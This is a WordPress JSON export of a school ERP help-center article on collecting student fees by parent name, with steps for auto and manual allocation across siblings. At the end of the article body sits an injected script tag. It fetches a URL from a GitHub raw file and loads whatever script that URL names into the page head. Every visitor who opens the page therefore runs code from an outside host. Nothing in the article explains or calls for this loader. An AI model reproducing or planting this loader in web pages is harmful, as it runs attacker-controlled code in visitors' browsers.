{"id":9979,"date":"2025-02-05T17:27:30","date_gmt":"2025-02-05T11:57:30","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=9979"},"modified":"2025-02-13T18:53:57","modified_gmt":"2025-02-13T13:23:57","slug":"how-can-i-collect-student-fee-using-the-parent-name","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-can-i-collect-student-fee-using-the-parent-name\/","title":{"rendered":"How can I collect student fee using the Parent name?"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p><strong>Step 1:<\/strong> Navigate to <strong>Finance<\/strong> -&gt; <strong>Fee<\/strong> -&gt; <strong>Collect Fee<\/strong> in the Transactions section.<\/p>\n\n\n\n<p><strong>Step 2:<\/strong> Use the search bar and enter the abbreviation <strong>P.&lt;Parent Name&gt;<\/strong>, e.g., <strong>P.Harman<\/strong>.<\/p>\n\n\n\n<p><strong>Step 3:<\/strong> Select the correct parent from the displayed entries.<br><em>(The associated children of the parent will be displayed next to the parent\u2019s name.)<\/em><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"195\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Collecting-the-Fee-using-Parent-name-1024x195.png\" alt=\"\" class=\"wp-image-9980\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Collecting-the-Fee-using-Parent-name-1024x195.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Collecting-the-Fee-using-Parent-name-300x57.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Collecting-the-Fee-using-Parent-name-768x146.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Collecting-the-Fee-using-Parent-name-1536x292.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Collecting-the-Fee-using-Parent-name-1200x228.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Collecting-the-Fee-using-Parent-name.png 1919w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<p><strong>Step 4:<\/strong> If the parent has multiple children, you can allocate the payment as follows:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Option 1:<\/strong> Auto Fee Allocation<\/h3>\n\n\n\n<p><br>Enable <strong>Auto Fee Allocation<\/strong> using the toggle icon on the right.<br><em>(Note: If this feature is not available for your school, it needs to be enabled from the Fee Collection Master Settings.)<\/em><\/p>\n\n\n\n<p>Enter the <strong>amount<\/strong> being paid by the parent.<\/p>\n\n\n\n<p>For <strong>Auto Allocation<\/strong>, the system will distribute the amount sequentially across children (e.g., first and second child). Any remaining amount will remain as a balance for the subsequent child.<br><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Option 2:<\/strong> Manual Allocation<\/h3>\n\n\n\n<p><br>Manually select the child by using the checkboxes based on the requirement.<\/p>\n\n\n\n<p>For <strong>Manual Allocation<\/strong>, distribute the payment manually by selecting specific children. Alternatively, if the parent is clearing the entire due, you can allocate the full payment to cover <strong>entire outstanding<\/strong> amounts.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"553\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Auto-fee-allocation-or-Child-selection-for-payment-process-1024x553.png\" alt=\"\" class=\"wp-image-9981\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Auto-fee-allocation-or-Child-selection-for-payment-process-1024x553.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Auto-fee-allocation-or-Child-selection-for-payment-process-300x162.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Auto-fee-allocation-or-Child-selection-for-payment-process-768x414.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Auto-fee-allocation-or-Child-selection-for-payment-process-1536x829.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Auto-fee-allocation-or-Child-selection-for-payment-process-1200x648.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Auto-fee-allocation-or-Child-selection-for-payment-process.png 1918w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<p><strong>Step 5:<\/strong> Once the allocation is complete, proceed to generate the receipt following the standard process.<\/p>\n\n\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>Step 1: Navigate to Finance -&gt; Fee -&gt; Collect Fee in the Transactions section. Step 2: Use the search bar and enter the abbreviation P.&lt;Parent Name&gt;, e.g., P.Harman. Step 3: Select the correct parent from the displayed entries.(The associated children of the parent will be displayed next to the parent\u2019s name.) Step 4: If the &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-can-i-collect-student-fee-using-the-parent-name\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;How can I collect student fee using the Parent name?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":26,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[54],"tags":[58],"post_folder":[],"class_list":["post-9979","post","type-post","status-publish","format-standard","hentry","category-collect-fee","tag-fee-collection"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/9979","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=9979"}],"version-history":[{"count":6,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/9979\/revisions"}],"predecessor-version":[{"id":11331,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/9979\/revisions\/11331"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=9979"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=9979"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=9979"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=9979"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}